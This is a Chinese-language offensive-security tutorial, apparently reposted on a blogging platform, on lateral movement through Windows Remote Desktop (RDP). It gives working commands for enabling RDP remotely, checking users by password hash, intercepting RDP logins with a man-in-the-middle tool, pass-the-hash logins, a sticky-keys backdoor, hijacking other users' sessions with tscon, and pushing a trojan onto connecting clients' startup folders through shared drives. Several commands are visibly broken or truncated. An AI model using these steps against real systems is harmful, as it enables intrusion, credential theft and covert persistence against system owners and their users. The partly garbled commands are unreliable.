橫向滲透之 [RDP]

本文作者 : 重生信安 - T3ngYu

**?一、RDP 服務(wù)確定和啟動(dòng) **

1. 確定RDP服務(wù)是否啟動(dòng)和服務(wù)端口

(1)注冊(cè)表查詢(xún)

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections # 查看RDP服務(wù)是否開(kāi)啟:1關(guān)閉,0開(kāi)啟 REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\ WinStations\RDP-Tcp" /v PortNumber # 查看RDP服務(wù)的端口
image

(2)進(jìn)程查看

tasklist /svc | find "TermService" # 找到對(duì)應(yīng)服務(wù)進(jìn)程的PID netstat -ano | find "3220" # 找到進(jìn)程對(duì)應(yīng)的端口號(hào)

2. 啟動(dòng)RDP服務(wù)

(1)cmd 本地注冊(cè)表啟動(dòng)

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConne ctions /t REG_DWORD /d 00000000 /f REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wi nStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f # 監(jiān)聽(tīng) 3389 端口

也可以通過(guò)reg配置文件的方式啟動(dòng):regedit /s startrdp.reg

Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] "fDenyTSConnections"=dword:00000000 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStation s\RDP-Tcp] "PortNumber"=dword:00000d3d

(2) 利用Wmic 啟動(dòng)遠(yuǎn)程主機(jī)的RDP服務(wù)

wmic /node: "192.168.1.160" /USER:"192.168.1.160\administrator" PATH win32_ermi nalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1 # 需要輸入遠(yuǎn) 程機(jī)器上管理員密碼

二、RDP 用戶(hù)登錄前

  1. 有效用戶(hù)獲得&確定

(1) 明文密碼:RDP爆破,SMB爆破(使用MSF中的smb_login 模塊可以確定有效用戶(hù)并判斷是否是管理員組的)等工具

(2) Hash:Impacket工具包中的rdp_check.py 腳本可以通過(guò)hash確定目標(biāo)機(jī)器是否存在枚舉的用戶(hù)

python rdp_check.py ./administrator@10.97.45.11 -hashes :618B18AD4171A53695DD99 7AB02D55C4

當(dāng)用戶(hù)存在時(shí)會(huì)提示 Access Granted,否者提示 Access Denied

(3) RDP中間人:Seth

./seth.sh eth0 10.0.0.2(myip) 10.0.0.3(client) 10.0.0.1(server) # 在10.0.0.2機(jī)器上,劫持由10.0.0.3向10.0.0.1的RDP申請(qǐng),獲得登錄明文
image

執(zhí)行后客戶(hù)端鏈接服務(wù)器會(huì)失敗,過(guò)段時(shí)間恢復(fù)正常

  1. 判斷能否直接登錄

     通過(guò)上述步驟確定用戶(hù)及密碼后,如果用戶(hù)是管理員組的可以直接通過(guò)別的方式在遠(yuǎn)程    主機(jī)上執(zhí)行命令或者反彈shell,利用query user查看在線(xiàn)的用戶(hù)或者利用tasklist查看遠(yuǎn)程主機(jī)上的進(jìn)程是否有目標(biāo)用戶(hù)的進(jìn)行判斷。
    
image

但是如果普通的用戶(hù),那需要進(jìn)一步判斷目標(biāo)系統(tǒng)來(lái)確定合適的登錄時(shí)機(jī)

(1) Windows XP、2003 支持統(tǒng)一用戶(hù)登陸多地登陸互不影響,使用query user查看在線(xiàn)用戶(hù),XP沒(méi)有該命令也可以使用taskmgr從任務(wù)管理器查看,同一權(quán)限下可以相互注 銷(xiāo)會(huì)話(huà)。

image

(2) 非服務(wù)器版本的Windows 系統(tǒng)默認(rèn)只允許一個(gè)賬戶(hù)登錄。當(dāng)遠(yuǎn)程用戶(hù)登錄時(shí)使用與原系統(tǒng)相同的賬戶(hù),原系統(tǒng)將切換到登陸頁(yè)面,并會(huì)看到登陸的機(jī)器名

image

如果使用不同的賬戶(hù),原系統(tǒng)將彈窗提示其他用戶(hù)已登陸到此計(jì)算機(jī)

image

選擇繼續(xù)后,原系統(tǒng)將會(huì)提示是否端口當(dāng)前鏈接(30s后默認(rèn)選擇同意,退出到登陸頁(yè)面)

image

三、RDP 登錄

  1. Windows 明文登錄
mstsc.exe
  1. Linux 明文登錄
rdesktop 192.168.1.5:3389
  1. Windows上用戶(hù)hash 登錄

(1) mstsc.exe

  Server需要開(kāi)啟 Restricted Admin mode,在Windows 8.1Windows Server 2012 R2中默認(rèn)開(kāi)啟,同時(shí)如果Win 7 和Windows Server 2008 R安裝了2871997、2973351補(bǔ)丁也支持;Client需要支持 Restricted Admin mode,當(dāng)前系統(tǒng)不支持,鏈接時(shí)將出現(xiàn)如下:
image

可以通過(guò)如下命令開(kāi)啟 Restricted Admin mode

REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin / t REG_DWORD /d 00000000 /f

開(kāi)啟后使用:mstsc.exe /restrictedadmin 進(jìn)行登錄不需要密碼,將使用當(dāng)前用戶(hù)的hash 進(jìn)行驗(yàn)證

image

(2) mimikatz.exe

mimikatz.exe # 需要管理員權(quán)限
image

4 . Linux上使用用戶(hù)hash登錄

apt-get update
image

PS:這里有一個(gè)坑,高版本xfreerdp不支持 /pth 參數(shù),可以使用上面的安裝命令安裝支持/pth的版本,也可以使用kali/parrot中默認(rèn)安裝好

image
image

PS2:如果RDP服務(wù)啟動(dòng)了,客戶(hù)端無(wú)法鏈接,可能是防火墻配置的問(wèn)題,可以執(zhí)行如下命 令添加防火墻規(guī)則允許3389端口TCP通信

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in l

PS3:如果出現(xiàn)遠(yuǎn)程連接出現(xiàn)身份驗(yàn)證錯(cuò)誤,要求的函數(shù)不支持,解決方法:

REG add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\CredSSP\ Parameters /v AllowEncryptionOracle /t REG_DWORD /d 2 /f

**四、關(guān)于 RDP 權(quán)限維持方法 **

1. 關(guān)閉 RDP 安全認(rèn)證

當(dāng)服務(wù)器開(kāi)啟安全認(rèn)證時(shí),必須先通過(guò)登陸密碼才能進(jìn)入遠(yuǎn)程桌面;如果服務(wù)端用的是 不安全的認(rèn)證方式,即可以先遠(yuǎn)程鏈接后登陸可以觸發(fā)Shift后門(mén)

image

如何設(shè)置不安全的連接,去掉”僅允許使用網(wǎng)絡(luò)級(jí)別的身份驗(yàn)證的遠(yuǎn)程桌面的計(jì)算機(jī)連 接”選項(xiàng),需要注意的是先上系統(tǒng)后驗(yàn)證也會(huì)在計(jì)算機(jī)本地留下一定的進(jìn)程、日志。

image

2. Shift后門(mén) + RDP劫持

配合上面的關(guān)閉RDP安全認(rèn)證方式,利用Shift后門(mén)可以讓攻擊者快速獲得System權(quán) 限,結(jié)合RDP劫持可以實(shí)現(xiàn)無(wú)需創(chuàng)建用戶(hù)、不更改劫持用戶(hù)登錄時(shí)間、解鎖劫持用戶(hù)界面、 等功能。注意RDP劫持需要System權(quán)限

tscon id # (要劫持的用戶(hù)id,query user查看)

另外一種方法可以通過(guò)創(chuàng)建服務(wù)激活

sc create rdpjack binpath="cmd.exe /k tscon 2 /dest:console" net start radjack # 執(zhí)行后切換到目標(biāo)界面下
image

Mimikatz中也有相關(guān)的利用模塊

mimikatz.exe 

3. 開(kāi)啟多人登錄模式

  設(shè)置完成后,使用相同的用戶(hù)登錄互不影響,不會(huì)有彈窗提示、鎖屏等狀況,和 Windows Server 2003相同。 

(1)手動(dòng)設(shè)置:將計(jì)算機(jī)配置(Computer Configuration)->管理模板 (Administrative Templates)->Windows組件(Windows Components)->遠(yuǎn)程桌面 服務(wù)(Remote Desktop Services)->遠(yuǎn)程桌面會(huì)話(huà)主機(jī)(Remote Desktop Session Host)->鏈接(Connections),禁用”將遠(yuǎn)程桌面服務(wù)的用戶(hù)限制到單獨(dú)的遠(yuǎn)程桌面會(huì) 話(huà)”(Restrict Remote Desktop Services users to a single Remote Desktop Services session) (2)Mimikatz 開(kāi)啟多用戶(hù)登錄,支持Win 7 及以前的版本系統(tǒng)

mimikatz.exe
image

PS:使用與原系統(tǒng)相同的賬戶(hù),原系統(tǒng)還是會(huì)被切換到登錄界面;不同賬戶(hù)登陸成功 (3)RDPwrap:支持Win Vista - Win10

RDPWinst.exe -i is # 安裝 

(4)SharpDoor:僅使用于Win 10 開(kāi)啟多會(huì)話(huà)RDP

**五、RDP 服務(wù)器反打客戶(hù)端 **

需要客戶(hù)端RDP鏈接時(shí),開(kāi)啟磁盤(pán)共享(將本地磁盤(pán)掛在到服務(wù)器上)才能正常利用

image
  1. RDPInception:在服務(wù)端開(kāi)啟,修改bat腳本執(zhí)行powershell、exe或者dll,等待客 戶(hù)端連接拷貝到客戶(hù)端啟動(dòng)項(xiàng)中(需要客戶(hù)端共享文件)執(zhí)行,每次啟動(dòng)嘗試鏈接。

2. 手動(dòng)利用過(guò)程:假設(shè)客戶(hù)端和登錄服務(wù)器的用戶(hù)都是Administrator

   (1)在服務(wù)器端設(shè)置Administrator 啟動(dòng)項(xiàng) 目,C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\StartMenu\Programs

\Startup\powershell.vbs 作用是無(wú)彈窗執(zhí)行bat腳本

set ws=WScript.CreateObject("WScript.Shell") ws.Run "C:\Windows.bat",0 ws.Run "cmd /c del C:\Windows\Temp\service.exe",0

(2)Windows.bat 腳本內(nèi)容實(shí)現(xiàn)馬(service.exe)拷貝到客戶(hù)端的啟動(dòng)目錄

copy "C:\Windows\Temp\service.exe" "\\tsclient\c\Users\Administrator\AppData\Ro aming\Microsoft\Windows\Start Menu\Programs\startup\service.exe"

也可以根據(jù)實(shí)際情況,將Rat拷貝到客戶(hù)端的其他目錄,將激活腳本拷貝到客戶(hù)端啟動(dòng)目 錄;如果不出網(wǎng)的情況下,也可以將exe替換成要執(zhí)行的腳本 。

微信公眾號(hào)
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容